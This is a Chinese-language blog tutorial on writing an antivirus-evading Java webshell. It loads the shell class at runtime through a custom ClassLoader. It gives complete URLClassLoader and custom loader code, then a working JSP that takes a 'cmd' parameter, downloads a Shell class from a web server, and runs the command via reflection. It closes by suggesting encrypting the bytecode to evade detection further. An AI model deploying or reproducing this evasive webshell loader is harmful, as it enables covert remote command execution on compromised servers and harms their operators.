自定义ClassLoader类加载器免杀Webshell

  1. 前言 闲来无事之时,打算通过自写类加载器,做一个免杀的webshell。但是如果觉得自写类加载器太过于繁琐的话,可以使用URLClassLoader来测试,本人这里没有使用URLClassLoader。

  2. URLClassLoader方式 既然提到了URLClassLoader,那就简单讲解一下吧。

为了便于大家观看,这里就用计算器来做演示了

1646294291_62207513703ef396edc73.png!小

准备好后编译为class文件即可。

1646294392_62207578159b3ccd994dd.png!小

2.1 URLClassLoader文件加载 首先介绍第一种方式,文件加载,在给URLClassLoader进行初始化之后(File中传入文件路径),直接调用其loadClass方法(该传入的Demo就是class的文件名),即可获取到Class对象,并通过newInstance()实例化,而在上方可以看到,笔者都将代码写入到了构造函数中,所以在实例化之后,不需要做其它操作了

@Test public void test() throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException { File file = new File("E:/"); URI uri = file.toURI(); URL url = uri.toURL(); URLClassLoader classLoader = new URLClassLoader(new URL[]{url}); Class cls = classLoader.loadClass("Demo"); cls.newInstance(); }

运行之后,可以发现该class文件被成功加载

1646294737_622076d122013c0d4a5aa.png!small

2.2 URLClassLoader URL加载 本种方法的话,是比较灵活的,只需要将Class文件放到web服务中即可。

1646294896_6220777060dbd27ade8fe.png!small

通过访问URL http://127.0.0.1/Demo.class得知没问题之后,就可以进行下一步代码编写了

首先将URL传入到URLClassLoader中,并在通过loadClass("Demo"),即可获取Class对象。最后在进行newInstance();即可进行实例化

@Test public void test02() throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException { URL url = new URL("http://127.0.0.1/"); URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url}); Class cls = urlClassLoader.loadClass("Demo"); cls.newInstance(); } 1646295093_62207835bc9287151d344.png!small

  1. 自定义类加载器 笔者写了两种自定义类加载器,一种基于文件,一种基于web服务的。

3.1 基于本地文件的自定义类加载器 代码讲解:

在继承ClassLoader后,进行重写findClass方法即可,之后将class文件的字节码内容保存到data中。最后并将字节码传入到defineClass类中,在进行return返回为Class对象。

完整代码如下:

package org.example;

import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.InputStream; import java.util.Arrays;

public class FileClassLoader extends ClassLoader{ protected String dir; public FileClassLoader(String dir){ this.dir = dir; } protected Class<?> findClass(String name) throws ClassNotFoundException { byte[] data = new byte[0]; try { File file = new File(dir+name+".class"); InputStream inputStream = new FileInputStream(file); ByteArrayOutputStream bote = new ByteArrayOutputStream(); byte[] bytes = new byte[1024]; int len; while((len = inputStream.read(bytes))!=-1){ bote.write(bytes,0,len); } data = bote.toByteArray(); inputStream.close(); bote.close();

    }catch(Exception e){
        e.printStackTrace();
    }
    System.out.println(Arrays.toString(data));
    return defineClass(name,data,0,data.length);
}

public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
    FileClassLoader cls = new FileClassLoader("e://");
    Class cls2 = cls.loadClass("Demo");
    cls2.newInstance();
}

}

效果图如下:

3.2 基于Web服务的自定义类加载器 代码讲解:

和上方那种自定义类加载器无太大区别,代码稍作改进即可,初始化的时候传入URL,调用loadClass时,传入class文件名。而在后面的代码种就一样了,将字节码存到了data中,最后在将data传入到defineClass方法,并返回一个Class对象。

完整代码如下:

package org.example;

import java.io.ByteArrayOutputStream; import java.io.File; import java.io.InputStream; import java.net.MalformedURLException; import java.net.URL;

public class UrlClassLoader extends ClassLoader{ private String url; public UrlClassLoader(String url){ this.url = url; }

@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
    String path = url+name+".class";
    byte[] data = new byte[0];
    try {
        URL url = new URL(path);
        InputStream inputStream = url.openStream();
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        byte buf[] = new byte[1024];
        int len;
        while((len=inputStream.read(buf))!=-1){
            baos.write(buf,0,len);
        }
        data = baos.toByteArray();
        inputStream.close();
        baos.close();
    } catch (Exception e) {
        e.printStackTrace();
    }
    return defineClass(name,data,0,data.length);
}

public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
    UrlClassLoader urlClassLoader = new UrlClassLoader("http://127.0.0.1/");
    Class cls = urlClassLoader.loadClass("Demo");
    cls.newInstance();
}

} 效果图如下:

1646295704_62207a9884803cec57412.png!small?1646295793293

  1. 自定义ClassLoader改造Webshell 有了前面的基础内容铺垫,接下来就可以来改造Webshell了

实现图如下:

1646311027_6220b673d8e959fd52db9.png!small

Webshell放到了,web服务器中。并在通过loadclass获得class对象,进行反射来调用

首先来看webshell代码,是比较简单的。不做过多讲解

1646311146_6220b6ea6d9e09c01bac7.png!small

接下来编写jsp代码,具体实现如下,是不是看着非常眼熟(在3.2中已经讲了),在request.getParameter获取参数之后,就进行了加载webshell.class的字节码并返回为class对象。

但是webshell中,定义是有参构造,需要传入参数执行特定命令。所以在getConstructor需要传入String.class,并最后通过newInstance将cmd参数传入进去来执行命令。

<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.net.URL" %> <%@ page import="java.net.MalformedURLException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.io.ByteArrayOutputStream" %> <%@ page import="java.util.Arrays" %> <%@ page import="java.lang.reflect.Constructor" %> <% String cmd = request.getParameter("cmd"); ClassLoader classLoader = new ClassLoader() { private String url="http://127.0.0.1/"; @Override protected Class<?> findClass(String name) throws ClassNotFoundException { String path = url+name+".class"; byte[] data = new byte[0]; try { URL url = new URL(path); InputStream inputStream = url.openStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte buf[] = new byte[1024]; int len; while((len=inputStream.read(buf))!=-1){ baos.write(buf,0,len); } data = baos.toByteArray(); inputStream.close(); baos.close(); } catch (Exception e) { e.printStackTrace(); } return defineClass(name,data,0,data.length); } }; Class cls = classLoader.loadClass("Shell"); Constructor constructors = cls.getConstructor(String.class); constructors.newInstance(cmd); %> test 最后看一下成品吧

1646312233_6220bb293db85fc658e2b.png!small?1646312322280

  1. 结尾 具体思路有很多的,可以灵活自由发挥,比如在读取完webshell的字节码之后,进行一层加密等...